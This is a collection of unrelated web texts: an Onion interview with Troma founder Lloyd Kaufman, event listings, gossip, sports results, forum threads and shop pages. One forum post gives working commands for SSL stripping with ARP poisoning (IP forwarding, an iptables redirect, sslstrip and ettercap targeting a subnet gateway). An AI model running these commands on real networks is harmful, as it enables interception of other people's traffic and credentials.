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For over 25 years, Lloyd Kaufman and partner Michael Herz have headed Troma Entertainment Inc., a low-budget movie studio responsible for producing and distributing such video and late-night-TV favorites as Class Of Nuke 'Em High (1986), Chopper Chicks In Zombietown (1991), Teenage Cat Girls In Heat (1997) and, most famously, The Toxic Avenger (1983) and its sequels. By developing an identity distinct from other studios, Troma has acquired a cult following devoted to its satiric vision of a world filled with scantily clad women, dismemberment, and vomit of many colors. Benefiting also from a popular website (www.troma.com), Troma's recent output, including the Shakespeare send-up Tromeo & Juliet (directed by Kaufman) and Sgt. Kabukiman N.Y.P.D. (directed by Kaufman with Herz), has netted the company the greatest attention and best reviews in its history, in addition to being its two most clever and entertaining films. With his memoirs completed and on their way to publication, Kaufman spoke to The Onion about his craft, his influence, the difficulty of marketing singing cannibals, and the importance of being independent.
The Onion: How are things in New York?
Lloyd Kaufman: In Tromaville, the sun shines... Unfortunately, it's a global-warming type of sun, and it's toxic. The UV count is very high. There are mutants being created.
O: How does your slogan, "Movies Of The Future," apply to the movies that come out of Tromaville?
LK: Well, you may have noticed that the battlefield is littered with the bodies of dead independent movie companies. Troma is just about the only independent movie studio remaining, unless you buy the brainwashing propaganda put out by your government and the industry that companies like Miramax and New Line are independents. If you buy that, then I say you have a major problem. Troma has to be ahead of its time: Otherwise, like the other independent companies that have been gobbled up, crushed, intimidated or blacklisted, the public would not embrace our movies. One of the few reasons Troma is still in business is because we are ahead of the game. Our movies opened the doors for other filmmakers. If you talk to Quentin Tarantino, or Peter Jackson, or Shinya Tsukamoto, or Kevin Smith, they will tell you that they appreciated what Troma did with movies like The Toxic Avenger or Class Of Nuke 'Em High, and that we wedged the door open a little bit so they could use elements that we had pioneered to create world-class masterpieces.
O: You mean in terms of the content of the movies, or...
LK: Content, subject... Yes, by all means. The Toxic Avenger is a perfect example. Here's a movie that is environmentally involved before the environment became the puppy-dog of the media.
O: And one example of Troma inserting not-so-subtle left-wing messages into its movies.
LK: Well, we have always had the message. Every movie that I've written or directed basically takes the premise that there is a conspiracy of the labor, the bureaucratic and the corporate elite, and that this conspiracy of elites is sucking dry the little people of Tromavillesucking them of their financial and spiritual capital. And that is indeed the fact; that is the way the United States of America has evolved in my lifetime. And it is now happening on the last democratic medium, namely the Internet.
O: Yeah, I checked out your website the other day and it seemed to have very firm views about censorship on the Internet. Do you feel like that censorship has at least been postponed lately?
LK: I hope I don't sound like a pompous ass, and I apologize if I do, but it's so clear to me that Clinton and his elitist group are out... They've got millions of dollars from the Seagrams... The Hollywood elite has given Spielberg huge amounts of money. Why? There is a deal of some sort. And one of the deals, I think, is that they're going to put up tollbooths on the Internet. They're going to make it so people like you or me will not be able to get on. Or, that when we are on, the public won't be able to find us because Microsoft or Disney... No matter how you punch in, you're always going to get to a Microsoft website or a Disney website. Even if you want to get to the Troma website, you won't be able to find it. It's the same way that Viacom owns Blockbuster, and they blacklist Troma, and Sony owns movie chains. Thanks to Reagan, the consent decree that Truman had prohibiting movie companies from owning movie theaters was done away withso now you can have a liquor company owning not only Universal Studios, but cinemas, television networks, and newspapers and cable systems. And where they don't own them, they own them in partnership with other companies. They control everything, and they're gonna screw up the Internet. A little more than 10 years ago, video was actually a somewhat democratic medium. Now it is totally owned and operated by the major studios.
O: It seems the great days of straight-to-video releases has passed, except for a few cases like Troma.
LK: You're absolutely right. The stuff that's coming out straight-to-video is $8 million movies made by Fox...
O: ...starring Eric Roberts.
LK: Yeah, exactly! So, meanwhile, Tromeo & Juliet came out last month with 10,000 rental video tapes. This is a movie that ran nine months in L.A.; it's gotten great reviews from literally every major critic, and Blockbuster doesn't carry it.
O: How long has Blockbuster refused to carry Troma films?
LK: Always.
O: Is it a question of content?
LK: No, it's basically blacklisting.
O: That sounds a little bit conspiracy-minded.
LK: I'd say it is. I mean, they've killed off... Who's left? There are no independent companies left. Variety is basically the house organ of the majors. The MPAA ratings board disemboweled any independent movie that came along in the '70s and '80s. And in those days, you couldn't get into movie theaters unless you had an "R" rating. Movie chains would not play unrated movies. So, in order to get an "R" rating they would totally disembowel your movie. But they would permit movies like Die Hard to get an "R" rating with kneecaps getting knocked off. They would permit heart-plucking scenes in Indiana Jones And The Temple Of Doom and give it a PG. Every once in a while they would have a little problem where the public would get pissed off, so they'd create a new rating. To service Spielberg or somebody, they'd create a "PG-13" because Gremlins or Jaws, one of those movies, had a problem. I can't remember which one. So they'd create a new thing. More recently, Disney's subsidiary had a problem with a movie, so they created the "NC-17" category to give it some legitimacyso it wouldn't have to carry an "X." The MPAA has been very instrumental in killing off independents.
O: Would you say it's a combination of a puritanical sensibility and a desire to get rid of independents?
LK: I would say it is solely a desire to get rid of the independents. In my opinion, it is purely a movement toward a cartel system and an elitist system. The V-chip, again, has nothing to do with protecting children. It will be a double-standard. Movies from abroad, or Troma movies, what have you, will get V-chipped so they will have to play at two in the morning, get no sponsorship and therefore get no revenue. But the Schwarzenegger movies and the heart-plucking movies, they'll go on in prime time.
O: But you've been getting more attention lately than you have in a while, for Tromeo & Juliet and Sgt. Kabukiman, N.Y.P.D.
LK: Yeah, that's true. You know, it's possible that the pendulum is swinging back a little bit. We have a websitesomehow people are still finding our websiteand we get hundreds of thousands of people visiting it. It's conceivable that people are fed up with these $50 million movies that are like baby food. There may well be a growing dissatisfaction with this smugness and this worship of jewelry and women smoking cigars and all this disgusting celebrity-worship. The pendulum has to swing back to some extent. The public is much smarter than the media and the big boys think it is. The problem is that you can brainwash them. Look what Mao did. He never spent 50 million bucks. You know, they put up those big posters and allegedly brainwashed an entire country. Think of what Warner Bros. does with one Batman movie.
O: Tromeo And Juliet got more attention than any Troma film in some time, and Sgt. Kabukiman, N.Y.P.D. was reviewed on Siskel & Ebert, which hadn't happened for a Troma production in some time...
LK: Well, let me tell you something else, speaking of Siskel & Ebert. I'm upset that they ignored Tromeo & Juliet, because I've been directing movies since the early '70s. I've got twenty-some-odd movies. Not that I'm a talented director. I'm probably a footnote in history, but I'm a footnote that's influenced, and they're perfectly willing to say I've been an influence on major directors of the next generation. It would be interesting to call Joel Siegel at ABChe has a policy where he doesn't review Troma movies, and the same with Gene Shalit. Even though we distributed a movie called My Neighbor Totoro, which is an animated film by the world's greatest animator, Hayao Miyazakihe is better than Disney, a major, major talent, and this a G-rated moviethey refused to review it because it's a Troma movie.
O: You started at Yale, right?
LK: The first time I made a feature-length movie, right.
O: And you moved on to make... Are you comfortable calling the movies you made in the '70s exploitation movies?
LK: Everything is exploitation movies. Everything we've ever done. Again, it's a bit of an unfair practice that Face/Off is not an exploitation movie but Tromeo & Juliet is. That's what the bigger movies are all about. Exploiting Batman, exploiting special effects, whatever. We happen to exploit sex and violence.
O: Do you see yourself carrying on the great exploitation tradition of AIP and Roger Corman?
LK: Well, Corman is a major influence on me, without a doubt. We're very close friends, and he loves the fact that we have taken the straight genres that he has pioneered and put them all in a Cuisinart. Our movies combine all the genres. Rather than have a straight horror or science-fiction or sex movie, we put everything in one movie. In 1986, when he was interviewed about Troma, that's what he stated. And that's the first time I was aware of what we were doing.
O: Your movies have been called parodies of B-movies. Would you agree with that?
LK: I don't think that's their intention. I think there are numerous literary allusions in all of our movies, parodies not just of B-movies. From the start, we had this notion of creating a Troma universe. Preston Sturges' satirical depiction of small-town America led me to create Tromaville, this little town that appears in many of our movies. And the characters in Tromaville are influenced by the mugs in Preston Sturges; the only difference is that his mugs could act.
O: It seems the difference between your movies and Roger Corman's is that they're self-consciously humorous in a way most of his weren't.
LK: Yes, and his are more commercial. Comedy is not commercial; it is risky, because what is funny in one place isn't always funny somewhere else. With comedy you take a big risk, and that limits our viability and our audience, because we insist on making movies that are supposed to be funny.
O: But dismemberments, bare breasts and puking are pretty much universal, wouldn't you say?
LK: Well, not necessarily, because Germany, for example, has major censorship. They will not permit the kind of violence that we do, so it's not necessarily universal. There are parts of the world, India for example, where they don't get the humor. We have major followings in most of the world, but there are parts of the world where they simply don't get our humor. I think my masterpiece is Troma's War (1988), and most of the international territories just didn't get it. They thought it was going to be a straight action film. Instead they got this movie that has... It's a war picture, but it's got Siamese twins joined at the head, it's got comedy and slapstick, it's got sex... and they just didn't know what to make of it. I think it's the best film, certainly among the best films, we've ever done. But a lot of people just did not get it. Or if they did get it, they didn't like it. [Laughs.]
O: Has that made you shy away from riskier ventures?
LK: No, they only thing we've done is we've dropped our budgets a bit. The budget of Tromeo & Juliet was $500,000, which is incredible. That is less than the original Toxic Avenger made in 1983. So we can take more chances.
O: Speaking of that film, do you still see that as a turning point in Troma's history?
LK: Well, it certainly gave us a much wider audience. That movie, for whatever reason, appealed to an enormous audience, and I think we ended with 300 or 400 35mm prints. It led to sequels, it led to a cartoon show; there were a hundred companies that made Toxic Crusader toys and merchandise. Recently, Tromeo & Juliet won the first prize at the Rome Film Festival, and when they showed a trailer of The Toxic Avenger, the theater erupted. It was a huge, huge reaction. The same thing just happened in Montreal: The Montreal festival showed the original trailer for The Toxic Avenger before the showing of Tromeo & Juliet, and audiences went nuts. So there's some kind of magic that Toxie's got, and that has certainly helped give us a broader audience. Troma has emerged as kind of a brand-name, and every so often big companies want to buy us, or merge with us, or acquire us, or do something, and part of the reason is that we've got a brand-name perception. People will rent a Troma movie. We estimate that there may be 2,000 video stores around the country that have Troma sections.
O: Individual sections dedicated to Troma films?
LK: Yeah. One of the big newspapers did an in-depth article about five years ago where the point was that Troma... They would question people, and the only studio that people had an awareness of, other than Disney, as a brand was Troma. But the biggest problem is getting the product to the fans. We have a movie called Cannibal: The Musical. Have you ever heard of it?
O: Yes, I have. Is it out on video yet?
LK: See, it's been out on video for months, but we could not get it into any of the giant chains, and it's a wonderful film. The film is terrific. And, again, I had nothing to do with it; the guys who made it are major Troma fans, and they obviously were influenced by Troma, but these guys are major talents. These are going to be world-class moviemakers. The director, Trey Parker, has already been hired by Comedy Central. They've just finished a series of cartoons called South Park. And Trey Parker's got a major movie that he's going to be doing for Paramount, based on Cannibal: The Musical, the movie we helped him with. Yet, Blockbuster wouldn't take it, one or two other chains wouldn't take it, and it's very hard to find. And I know damn well that if Miramax had Cannibal: The Musical, it'd be in every store.
O: Parker aside, it seems that, unlike Roger Corman, you haven't really produced a lot of people who have gone on to more high-profile things. Do you think there's a reason for that?
LK: Um... Well, if you look, we have 150 movies. I didn't direct them, but we have the first two Kevin Costner movies. We did turn down Madonna.
O: When was that?
LK: With The First Turn On, we turned down Madonna. She was begging, begging to be in the movie, too. Absolutely. She created a little costume. The First Turn On is about camping. And my partner just didn't feel she was right for the part. Then, about six months later, while our movie The First Turn On was underwhelming critics and audiences alike, Madonna was a shooting star, a giant supernova. [Laughs.] And I've never let my partner forget that. But Vincent D'Onofrio, he was in that movie. Marisa Tomei, Oliver Stone started with us.
O: What was Marisa Tomei in?
LK: She's in The Toxic Avenger. She's just an extra. Oliver Stone started with us. He acted in The Battle Of Love's Return, which was one of my first feature-length movies, and I think it's going to come out this summer on video. It's never been out on video. It stinks.
O: What's it about?
LK: It stars me, and it's an identity type of... It's part color, which is fiction, and part black-and-white, where the characters are interviewed. Steve Tisch, who produced... that shit movie with the chocolates that I hated... Forrest Gump, he was a production assistant for us. There are a fair number of future stars in our movies, but certainly nothing like Corman. And part of that is because we're in New York, and a lot of New York people don't stay in movies. They go on to theater and other things.
O: The rumor is that The Toxic Avenger is going to be remade.
LK: There is a big-time agent who is a Troma fan. He is the dealmaker at William Morris for Tarantino and a lot of the hot, younger directors. He wants to put together The Toxic Avenger as a $50 million movie, and he had found some development deals with major studios. We did not want to do that, so we hired a writer to rewrite the remake; that way, we would own it, so we wouldn't get stuck in a development deal. In other words, if some big Hollywood company wants to make the movie and pay us a lot of money, they can do it. But what we don't want is to have a situation where the movie gets stuck in a development deal and that kills it.
O: Don't you feel that by dealing with a major company at all, especially with your trademark, you're shaking hands with the devil?
LK: No, because the only way we're going to do it is, they're either going to give me 100% control, which they won't, or they'll give us a lot of money. And if we get a lot of money, we can make more movies, and not only give me a chance to make a movie every once in a while, but allow me to hire more Trey Parkers. There's no middle ground. Either you get a lot of money and you walk away from it, or you take control.
O: Let's step through the creative process at Troma. How does something like Sgt. Kabukiman, N.Y.P.D. come about? What got you to combine Kabuki theater and a gritty New York cop?
LK: Well, we shot about a third of the sequel to Toxic Avenger in Japan. And I had written a bad guy called Kabuki Boy. Kabuki Boy fought Toxie, and whenever Kabuki Boy would come on screen, our editors back in the States would be convulsive with laughter. There was something about Kabuki Boy that they found very amusing. And I was back in Japan when the movie was finished; I was at a press conference, and somebody said, "Are you gonna shoot another movie in Japan?" and I said something like, "Yeah, we're developing Kabuki Boy," just as a lark. And our agent in Japan told me that there was actually a big amusement company that had been watching Troma, and had been impressed with the way we shot Toxic Avenger Part 2, and that they were talking about a Kabuki-themed character for their games. By coincidence, they were thinking about a Kabuki-style game or superhero, so I said fine, I'll write up a treatment, and if you like it, we'll co-produce it. So we came up with Sgt. Kabukiman, N.Y.P.D., because we thought we would do a satire of the police genre. We didn't shoot it in Japan, but we did have a representative from Japan who understood Kabuki theater, and who also understood American culture, so we didn't have anything that was incorrect in the movie. It's all realthere's no ugly stereotyping or confusing Kabuki with Noh plays or, worse yet, confusing Japanese culture with Chinese culture, which people constantly do. At the time, Japan was getting a lot of bad publicity, so I thought that would be an interesting theme, because basically Japan and the U.S. are very good friends. They love each other, but they have this tremendous new war for the economic and cultural supremacy of the world, and Kabukiman was a metaphor for it. So, I got very interested in that basic theme of the new American/Japanese war, and Kabukiman was the perfect vehicle to get into that. I think that may be why it did well theatrically and acquired sort of a following.
O: It was actually filmed several years ago, right?
LK: Yes, well, it took us a while to get the good theatrical openings in New York and L.A. Then, when it did, we didn't want to make a lot of prints, so we moved the small number of prints from city to city. They played for quite a while, so it took a while before we brought it out on tape. And it's coming out in September.
O: It's an entertaining movie; it seems like the ones you've been putting out lately have been an improvement.
LK: I can direct you to some bad ones if you want. We've got one that came out on video called... Well, actually, we've got another one on video that came out this summer, called Teenage Cat Girls In Heat, that is hilariousit's great, by a first-time director. It's hilarious, but unfortunately, it just didn't do well. Then there's another one called Tomcat Angels which, uh... It's definitely not a good one.
O: What's the worst thing you've ever put out?
LK: Well, I don't think that we've ever put out a movie that we can't stand behind; there's only one that I would have second thoughts about today. And this is a movie that we picked up, and we helped the director complete it the way he wanted to. It had sort of a false start, and we went back and re-edited it so he got his director's cut. It's a movie called Bloodsucking Freaks (1975), and I do believe this movie goes too far.
O: In what way?
LK: Well, it is extremely... In today's world, it's not very complimentary to women.
O: Which is a criticism you've been hit with several times.
LK: Well, that's fucked up because our movies are right on politically. It's absurd. Anyone who's seen our moviesanyone who's seen the movies I've written and directedcan't possibly have that criticism. It's usually people who assume that, because we have some men and women in small clothing, that we are exploiting women or something. That's horseshit. Squeeze Play (1979), which was a big hit for us in the late '70s: The New York Times understood it. Janet Maslin gave it a good review because she understood it. But the idiot in San Francisco said Squeeze Play was made on the garbage scow, and it abused womentotally misunderstood it.
O: So how is Bloodsucking Freaks different?
LK: It's very misogynistic. I mean, you will laugh when you see it. It's very funny, and you should see it, but it's evil. Nasty. But it has a huge following. Huge following. And actually, the younger generation of women are a lot more relaxed; they don't immediately get offended when they see a woman in a bikini anymore. They're having fun with it now. Squeeze Play was about the women's-liberation movement, and the public got it. It was a huge successin fact, that's pretty much how we bought our building. It was about a women's softball team. Not to be confused with the much inferior A League Of Their Own (1992), which came out 15 years later. In fact, Penny Marshall borrowed a print of Squeeze Play when she was organizing A League Of Their Own. And I believe that I may have seen a bit of Squeeze Play's influence in A League Of Their Own, but I may be arrogant in that respect. What Squeeze Play was all about was strong women who had enough self-confidence to understand that they could not defeat men physically, because men are bigger and stronger, but that they didn't have to stay cooped up in the housethat they could do what they wanted. We were ahead of our time. Movies of the future.
O: What's your favorite tag line for any of your movies?
LK: [Pauses.] Well, we have a movie called Macho Woman: "Born to shop, she learned to kill." I sort of find that amusing.
O: What's in the future for Troma?
LK: Well, we would like to empower more first-time directors. We would like to be producing more films like Def By Temptation (1990) or Teenage Cat Girls In Heat or Cannibal: The Musical, where we can give new directors a chance to be totally free and totally beyond extreme. So I think you'll see more of that. We're going to pretty much stick to what we're famous for. I've hired a guy to write the script for a Jane Austen movie that stars Jane Austen called Schlock And Schlockability: The Revenge Of Jane Austen, where Jane Austen and Shakespeare and Thomas Hardy and Mark Twain and others are up in heaven, and they look down and see the baby food that is being made of their revolutionary work. Pride And Prejudice was very hot stuff in its day, and the stuff that's being made now is absolute pap. So, they're upset about it, and they draw straws, and Jane Austen is sent down to earth. She's transformed into a Tromette on the way down with some Jackie Chan powersgotta have the Hong Kong flavorand she kicks cultural ass.


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subset: commoncrawl


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Welcome to the
98th Annual New Jersey State League of Municipalities Conference
November 19-21, 2013
Atlantic City Convention Center
Atlantic City, NJ
Follow us on Twitter @nj_league
Presentation Handouts
98th Annual Conference Program Booklet - PDF for mobile/tablet download
Nov. NJM Magazine insert - Workshop & Meeting details including Room assignments - PDF - View online or Download to your phone/tablet
Audio Recordings of Sessions
NEW Procedures for Receiving Continuing Education Units (CEU's) Please Read!
2013 Conference Continuing Education Units(CEUS)-Version 3 - Note the Conference CEUS are not final, please continue to check the conference page often for updates.
Pennsylvania Continuing Legal Education (PA CLE) Announcement
Tuesday, Nov. 19
Wednesday, Nov. 20
Thursday, Nov, 21
Interactive Floorplan and List of Exhibitors
2013 League Conference Resolutions
Tuesday, November 18 through Thursday, November 20, 2014
Attention Exhibitors: Set-up will be Monday, November 17, 2014


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NAAP-NY 11th Anniversary Gala!
Network of Arab-American Professionals - New York (NAAP-NY)
Saturday, February 23, 2013 at 7:00 PM - Sunday, February 24, 2013 at 12:00 AM (EST)
Who's Going
San Francisco, California
London, United Kingdom
Florence, Italy
Event Details
Dear NAAP-NY & friends!
Please join us on Saturday February 23 to celebrate our 11th Anniversary Gala at the Hilton New York in midtown Manhattan!
For regular price tickets please visit: http://www.naaponline.org/ny/banquet2013.asp
As we enter our second decade of collective advancement, we're especially excited to be honoring inspiring individuals whose work should be recognized and celebrated.
Professional Excellence Award – Ahmed Shihab-Eldin, Journalist, Producer & Host of HuffPost Live. 2012 Forbes' 30 under 30 in media
Community Service Award – Rima & Farid AbdelKader, brother & sister who formed "Sandy Yellow Team" in the days following Hurricane Sandy to provide relief to devastated neighborhoods in Staten Island
The Reception starts and 7:00pm and the Program & Dinner will run from 8:00 P.M. to midnight. Dressy Attire Required. Seats are limited. No assigned seating.
When & Where
Hilton New York
Trianon Ballroom
1335 Avenue of the Americas
New York,
Saturday, February 23, 2013 at 7:00 PM - Sunday, February 24, 2013 at 12:00 AM (EST)
Add to my calendar
Network of Arab-American Professionals - New York (NAAP-NY)
NAAP is a nonpartisan, nonprofit, volunteer based organization dedicated to the development of a prosperous and influential Arab-American community connected through our national network.
Our mission is to connect, organize and empower the Arab-American community by channeling the interests and passions of our members through social, cultural, professional, political and service initiatives.
Founded in 2002, NAAP-NY is a charitable organization under Section 501(c)(3) of the Internal Revenue Code.
Learn more at http://www.facebook.com/naapny


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There are a couple of posts in here about using SSLstrip with arpspoof. This is working fine with my BT3 box but it has some drawbacks
1- Arpspoof works on one target at a time, so if you are on a busy DHCP network, you have to use something like "netdiscover" in the passive mode and manually arpspoof new targets on the run.
2-You can use:
# arpspoof -i eth0 -t 192.168.0.255 192.168.0.1
where you arp spoof the whole C class of your subnet but guess what? The gateway will display an IP conflict warining message.
3- Arpspoof is compiled with "eth0" as the device to use, even if you use "-i eth1" the attack will fail. You have to modify the arp.c file and compile arpspoof again to make it work on other NIC names or search for a compiled binary that has this issue resolved...
I would suggest following the following steps ( from the readme file included with the sslstrip package)
a)Flip your machine into forwarding mode (as root):
echo "1" > /proc/sys/net/ipv4/ip_forward
b) Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>
c) Run sslstrip with the command-line options you'd like.
python sslstrip.py -k -p -l <yourListenPort>
And instead of using arpsoof use ettercap
d) Run ettercap to redirect traffic to your machine
ettercap -i eth1 -Tq -M ARP /192.168.0.1/ // // -P autoadd
We are telling ettercap to use "eth1", with terminal and quiet mode "-Tq" and use the arp poisoning attack "-M ARP". 192.168.0.1 is the gateway IP address and finally we are using the plugin autoadd to add new targets "-P autoadd".


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WATCH: Justin Bieber Sings 'All You Need Is Love' at Scooter Braun's Wedding
Listen to Justin Bieber Radio on iHeartRadio
Scooter Braun got married on Sunday, and Justin Bieber provided some heartfelt wedding entertainment.
As Gossip Cop reported, the music manager proposed to girlfriend Yael Cohen, the founder of F*ck Cancer, in January.
Last night, the couple tied the knot in Whistler, Canada in front of a bunch of celebrity friends, including Tom Hanks,Rita Wilson, and Sophia Bush.
After the newlyweds were declared husband and wife, Bieber sang "All You Need Is Love" to end the ceremony.
Later at the reception, he joined Carly Rae Jepsen for a silly rendition of her hit "Call Me Maybe."
Check out the videos and photos below!
Photo: Getty Images


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News about Dick Armey, including commentary and archival articles published in The New York Times.
5 Things You Might Not Know About Hillary Clinton
The Democratic candidate for president grew up memorizing passages from the Bible and once had a job "sliming" fish in Valdez, Alaska....
May 20, 2015, Wednesday
Tea Party Group Presents Its Own Debt Commission Report
The group claims to balance the budget in four years, reduce federal spending by $9.7 trillion over the next 10 years and make the Bush-era tax cuts permanent....
November 16, 2011, Wednesday
Tea Party Group to Form Super PAC
Unlike similar organizations, the FreedomWorks Super PAC plans to raise $20 million from small donors to spend in Republican primaries....
September 23, 2011, Friday
Why Wouldn't the Tea Party Shut It Down?
This battle, ostensibly over the deficit, is so much larger than the sum of its line-item parts....
February 27, 2011, Sunday
Years Later, Armey Once Again a Power in Congress
Dick Armey, who helped build the Tea Party wave, has been operating like a shadow majority leader....
November 15, 2010, Monday
Focusing on Next Step, Tea Party Rallies Congressional Freshmen
Before the official Congressional freshman orientation even begins, Tea Party groups are hosting training sessions, planning rallies and encouraging new officials to stay on course....
November 13, 2010, Saturday
Anatomy of an Uprising
New books that attempt to explain the Tea Party movement from Dick Armey and Matt Kibbe, Kate Zernike and Jill Lepore....
October 10, 2010, Sunday
Tea Party's Big Money
Many of the people pulling the Tea Party's strings are establishment Republican operatives and lobbyists....
September 24, 2010, Friday
Lawmakers Regulate Banks, Then Flock to Them
Migration has grown from Congress to financial firms that are trying to stave off greater federal regulation....
April 14, 2010, Wednesday
Minting Bank Lobbyists on Capitol Hill
Lawmakers are moving into financial jobs as Wall Street seeks to weaken a proposed regulatory overhaul by hiring those who wrote the rules....
April 13, 2010, Tuesday
Who's Financing the 'Super PACs'
The Times is tracking donors to "super PACs" as they filed regular reports with the Federal Election Commission.
Where Tea Party Candidates Are Running
An examination by The Times identified Tea Party candidates in 129 House races and 9 Senate races.
Can the Tea Party Be Organized?
The advocacy group Freedomworks and its chief organizer, Brendan Steinhauser, have moved aggressively to mold the Tea Party movement into a political force.
Health Care Debate on Meet the Press
Fmr. House Majority Leader Rep. Dick Armey, Fmr. Senate Majority Leader Tom Daschle, Sen. Tom Coburn and Rachel Maddow debate health care reform on Meet the Press
Rss Feeds On Dick Armey
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Receive My Alerts e-mails on topics covered on this page.More Alerts >>


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Edward Burne-Jones's home in Rottingdean, as it is today.
Though now called "Prospect Cottage," this is the house that Burne-Jones originally acquired in 1880. Note the blue plaque beside the door. In 1889, Burne-Jones also acquired the cottage next door, knocking the two together to make North End House. His studio was in what is now the pink part, behind the row of windows on the first floor. (See Lycett 403)Photograph July 2006 by Jacqueline Banerjee. [This image may be freely used without prior permission for any scholarly or educational purpose.]
Related Material
- Kipling in Rottingdean, Sussex (1897-1902)
- The Elms
- Rottingdean, on the Sussex coast. The view eastwards from Rottingdean beach
- Kipling's Garden
- The Parish Church of St Margaret, Rottingdean
Last modified 29 November 2006


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L'Enfant was one of those who went back to France, but he did not stay.
L'Enfant who had been engaged to examine and make a draught of the grds.
L'Enfant thereupon came in person with some laborers, and saw the work of destruction perfected (November 22).
L'Enfant planned magnificently; it is for us to carry it out.
L'Enfant applied his ability to the task with enthusiasm; the approbation of 'his General' gave him supreme satisfaction.
Orthography was not L'Enfant's strong point in any language.
On the rest, with his habit of trusting those who knew, he seems to have left free rein to L'Enfant.
Is it to be a pantomime-drama, like L'Enfant Prodigue, or simply a ballet?
Which agreed perfectly with L'Enfant's constant desire to ever do things "en grand."
L'Enfant du Mt. Carmel somewhat resembles it, but grows and blooms more freely: its color is a rosy crimson.


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Saw a seal the last time i was out a few Saturdays ago in central LI
Printable View
Saw a seal the last time i was out a few Saturdays ago in central LI
The younger ones tend to be more curious and more docile than the adults. Also, solitary individuals will tolerate human contact better than a pod.
... kinda like surfers.
A few years ago at about this time of year, I was in the lineup off Spring Lake, just sitting and waiting for a set and about 10ft in front of me a seal pops up looks at me for maybe 5 seconds then goes back under and disappears...many non-believers when I told this to people afterwards...
Saw one in central LI last month while I was waiting for a wave. Popped up about 15 ft from me. His head was massive. Stared at me for a few seconds and then went under. Couldn't find him after that.
I was sitting in the lineup at the Hook one day and the water was really brown... couldn't see your knees sitting on your board. Suddenly this big black football pops up literally right next to me and snorts this big blast of air. I saw him out of the corner of my eye and heard the snort at the same time. It shocked me so much I actually let out a, "whoa!" as I reeled my head around. At that exact moment, he reeled his head around too... we scared the crap out of each other! For an instant, our big, startled, bugged out eyes met before he slipped right back under and darted off. For the rest of the session he sat outside by about 50 or 60 yards, occasionally popping up and checking us out... "You're still here? Go home, kooks!"
There was a 100 or so that spent last winter on the hook. You could see em out on the bars in the bay in big groups like in San Fran or something. My cousin took this vid on his cell phone fishing there last year. His wife posted to facebook..Not sure if it's public, but it's cool. The seal comes right up to check him out.http://www.facebook.com/photo.php?v=...type=3&theater
Typically they hang out on the islands offshore where there are no people, for instance the two islands off of SI in the Raritan Bay are popular spots to find tons of seals hanging around. They are returning more and more every year because of protection to their species.


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Wonderful World of Animation Art Gallery
9517 Culver Blvd.
Culver City, CA 90232
a Quake commercial
Production cel of Quake.
If you use the automated online order form, it is not set up to reflect any pricing specials. Rest assured, your credit cards are charged by hand, and any sales prices are the prices that will be charged to your account. If you feel more comfortable, please call us on 310 836 4992 and place the order by phone.
The size of this piece is 12 Field (11"x13")
US$ 150 (unframed)
Sale Price US$37.5


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If you are not 100% satisfied with your purchase, you can return your order to the warehouse for a full refund (Bottles must be unopened, in the state you received them, and in the original packaging). We believe that in order to have the best possible online shopping experience, our customers should not have to pay for domestic return shipping. So if you're not happy with your purchase, just contact us right away and we will provide you with details for returning the unopened bottles - your domestic shipping costs are prepaid by us.
With the WineChateau.com 365 day return policy, there are no special catches or exceptions. All we ask is that you send the items back to us in the original packaging, unopened, and in the same condition you received them.
Have questions? Prefer to order by Phone? The Wine Chateau Customer Loyalty Team (WCCLT) is happy to help!
Call WCCLT Monday - Friday 10am - 7pm EST:
1-888-423-8079 or
Email Wine Chateau Customer Loyalty Team
From a humble beginning in Spain, Sangria's popularity has grown worldwide to become a popular festive beverage. Our Sangria's blend of traditional red wine and citrus fruit flavors make for a refreshing beverage suited for all informal social gatherings.
Sangria is best served chilled and goes with just about everything
Food Pairing
Sangria is best served chilled and goes with just about everything


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Here is another great Family Adventure Mormon Ad promoting spending quality time with our children! Bonneville Communications are really outdoing themselves. See my previous post for the Swashbuckler!
Family Stagecoach Rescue
This entry was posted on Friday, February 6, 2009, in Adventure, adventures, church of jesus christ of latter day saints, Family, happiness, humor, inspiration, Media, mormon, mormonism, Parenting, Religion and tagged Adventure, Bonneville, Family, LDS, Media, mormon, MormonAds, movie, Parenting, Religion, The Church of Jesus Christ of Latter-day Saints, trailer, Western. Bookmark the permalink. 1 Comment


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'He has taken a beating for a bid that, while satisfying the NHL, ticked off taxpayers. People these days don't want to pay for PA systems and parking ramps. Times have changed in the five years since Ralph Wilson stepped to the public trough.'
Sabres load getting heavy for Hamister
January 29, 2003 Submitted by
Via: Buffalo News


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Lake Louise, Alberta • Lindsey Vonn raced to her 13th World Cup victory at Lake Louise on Saturday, leading another 1-2 U.S. sweep in the second downhill at the Canadian resort.
Vonn finished in 1 minute, 52.9 seconds to edge teammate Stacey Cook by 0.52 seconds. On Friday in the season-opening downhill, Vonn beat Cook by 1.73 seconds.
Vonn, a part-time Park City resident, will race in the super-G on Sunday in a bid to sweep the three-race event for the second straight year.
Men's skiing
Matteo Marsaglia of Italy took big risks on a challenging super-G course for his first World Cup victory.
Finding speed in sections of the hill where others were slowing, Marsaglia finished in 1 minute, 14.68 seconds to edge Aksel Lund Svindal of Norway by 0.27 seconds Saturday. Hannes Reichelt of Austria was third and Ted Ligety of the U.S. took fourth.
Germany made a strong showing in World Cup luge Saturday, with victories in men's doubles and women's singles in Koenigssee, Germany.
Tobias Wendl and Tobias Arlt led the men. Among the women, Natalie Geisenberger edged defending and Olympic champion Tatjana Huefner by 0.031 seconds.
Nordic combined
Jason Lamy Chappuis of France took the lead in the Nordic combined World Cup event by winning the 10-kilometer ski race Saturday in Kuusamo, Finland.
Short-track speedskating
Britain's Elise Christie and Russia's Victor An won 1,000-meter races Saturday in World Cup short-track speedskating while South Korean women swept the 1,500 in Nagoya, Japan.
Christie, the World Cup leader, was timed in 1 minute, 30.489 seconds. She was followed by two South Koreans Kim Min-jung in 1:31.371 and Lee So-youn in 1:31.443.
An won in 1:28.344, edging J.R. Celski of the U.S. by 0.073 seconds.


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Why a Plastic Bag Monster?
Portland, Eugene and Corvallis have already done it. Now the group "Environment Oregon" is taking the plastic bag fight to small town Oregon.
The odd fellow shuffled along outside Tigard city hall. "I'm the bag monster. I'm made of 500 bags which represents the average use of one person every year."
If you total all that up you'd find that Oregonians use nearly two billion non-reusable plastic bags every year.
Environment Oregon is taking petitions full of citizen names to city councils in Tigard, Beaverton and Lake Oswego asking them to ban those single use plastic bags you get at checkout stands.
